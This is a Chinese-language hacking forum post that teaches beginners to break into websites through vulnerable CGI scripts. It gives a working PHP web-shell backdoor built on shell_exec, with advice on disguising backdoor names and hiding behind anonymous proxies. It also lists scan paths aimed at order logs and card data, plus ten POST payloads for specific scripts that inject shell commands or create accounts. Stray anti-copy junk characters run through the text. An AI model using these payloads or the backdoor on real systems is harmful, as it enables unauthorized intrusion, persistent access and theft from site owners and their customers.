CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
大家好 我是bboyhip  只是一名菜菜的exploiter
3 `/ X  c8 A# |5 h0 X很开心来到贵论坛
& ?: [0 ?& g' }/ B  S这里让我感觉 很有技术交流的感觉
, U5 E2 n7 t- L* w1 c我会长长来玩的
& P1 b- j  ~3 b8 }前言:
7 T" X* T# J: S1 B: Z以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
所以有很多网站程序有6成都会使用cgi 脚本来管理
  U) |( X/ G8 f4 u目录为/cgi-bin/
) W- Y$ z$ t) j/ H8 Q8 e
$ m: U6 s5 J: A只是个人在实务上一些经验
5 S4 [) _9 Q* @; L3 q写的不好 请多多见谅喔
5 n- H3 ^6 ^) z* D  J0 e在这里我简单分为几个部份一定要會的
讲解一下
* @# J8 V) f8 S+ o* x; L) {& \$ j让没有基础的人很容易上手
8 Z' O0 a5 g6 l! n  ]# @
+ j  i& F8 v# C以下内容跟帖回复才能看到
2 R) m- ^. O9 ?& h6 H' M: f==============================
! l: y$ A# _9 r5 H
第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
  V. J% M" o- ^: i意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
, m% y) d0 l* L% W要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

) Z/ K7 {4 h  s; P第2部份: Unix 指令
以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
' Z! Y& N2 _3 Q0 ~ls /: 列出根目录
# m3 s, g3 ]" @) F& @ls /etc: 列出/etc的资料夹及档案
. v/ f; k' g9 T. dls ../ -al: 详细列出上一层的资料夹及档案
4 J) m' x1 A/ Y1 B; c$ O  zcat: 显示档案内容
- K" m2 P( C5 F* L1 e9 ]" jcat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
& q2 w, E8 d' }who: 显示谁login 至系统
man: 显示指令用法  
# Y- ]% w+ Q& e5 vman ls: 显示ls这指令的用法  
0 P8 }( R4 j  ^2 fmkdir 建立目录
rmdir 删除目录
! p4 A( t( d$ M) ?# y: h7 gmv 移动档案
, C8 {* {* G* J1 x+ J/ |) wrm 删除档案
: ?: C! z0 Z# }
! v1 R1 r& g' \' i- K7 \3 ], Z  [第3部份: Shell的使用
例如:
( k% d4 e, j7 n* t  vhttp://site.com/refer.php
这是我的後门, 原代码如下:
<Form Action="#" Method="POST">
<Input type="text" name="cmd">
<Input type="Submit">
</Form>
<?php
7 f" u4 {' c5 f  D4 x1 h' U$cmd = $_POST['cmd'];
  S2 i1 X; ^% F6 r; ~$Output = shell_exec($cmd);
$ W# X5 L% [6 u# A7 uecho $Output;
* d( I" Z! O2 Z* f0 }2 }* {$ b2 k' V?>
输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

第4部份: 注意事项
" l; _+ g* X: E- 使用匿名代理, 保障自己
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
6 z+ O; P2 z$ e& {- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
8 j- I7 t: Z: M+ `( E不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
这篇文章的重点是cgi 脚本攻击
所以我用简单的叙述形容
开始讲解脚本入侵过程:
; ]7 E, Q6 Y# A$ J0 l8 I( f  L在这里提供一些方法思路让大家学习一下
# R: Q9 e( Z. `2 W! Z& [
1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
5 B$ v, W: W/ X" h扫洞工具 如:triton..等等
E表
如
  L/ c8 c( X: g/ J- J7 I+ V/cgi-bin/add-passwd.cgi
+ `. W) |& N" h5 _: d" U4 c/WebShop/templates/cc.txt
# y7 I0 r  u; r8 d) s/Admin_files/order.log
/orders/mountain.cfg
& a$ K* O8 N' w  F/cgi-sys/cart.pl
& ?* @# N: S- W# J2 K1 Z/scripts/cart.pl
4 e: H& T8 B! q6 X+ w/htbin/cart.pl
* y' G+ Q, |$ g4 n" C# ~E表来源可以是网路收寻或是自己的0 day
, q2 Y1 K% A9 }9 z
, h0 E6 o9 o* X8 |2.怎样确认扫到的洞 是真的还假的?
+ I- ~' m5 H5 C! S举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
一般都是在IE里先看一下的,记住这个返回码哦
8 x+ x9 h0 T0 J2 i$ gERROR:This script should be referenced with a METHOD of POST.
4 l8 G8 a$ G: s8 N! w5 R没有返回一定是假的
. W4 A: G9 C" J8 a- T! ?3 J3.重来来了 很多人都会问我
/ w4 ]  f2 W3 X# L他扫到很多洞 但是不会使用
8 M" _2 }  M9 O1 u9 q因为这些漏洞 使用的语法 称为post
. X% u# n5 D( M( i我们要找post 的方法很多
/ Y# G! ~- t$ |3 s: {( V可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等
6 x$ a9 a: x6 _* W
以下我提供10个 cgi 洞以及使用方法post
; {3 L. d; X. P2 p/ R# N让大家可以针对网站去做扫描  
4 E6 ^) }# m: [/ D/index.cgi
" [) O. j6 s2 f% fwei=ren&gen=command
/passmaster.cgi
" \- g: k4 j9 j, ?$ _/ k# a% `2 pAction=Add&Username=Username&Password=Password
/accountcreate.cgi
5 f( d' X4 J/ X+ Qusername=username&password=password&ref1=|echo;ls|
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
7 o, h0 q# B9 t3 M; ]4 D9 P/addusr.pl
: J0 w5 A' i$ T5 u/cgi-bin/EuroDebit/addusr.pl
% h' l. A$ E5 V& d, R# O" Euser=username&pass=Password&confirm=Password
/ccbill-local.asp
post_values=username:password
/count.cgi
6 _! l( f) ^$ u) Q: epinfile=|echo;ls -la;exit|
7 H% l7 q. D5 c9 G/recon.cgi
/recon.cgi?search
, X$ b0 }. E* Y5 Jsearchoption=1&searchfor=|echo;ls -al;exit|
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|
; y$ Z8 [0 V- h  o' S4 e; d
今天就讲到这  感谢大家支持
( u4 U; ?9 J+ v7 Q* B1 t- J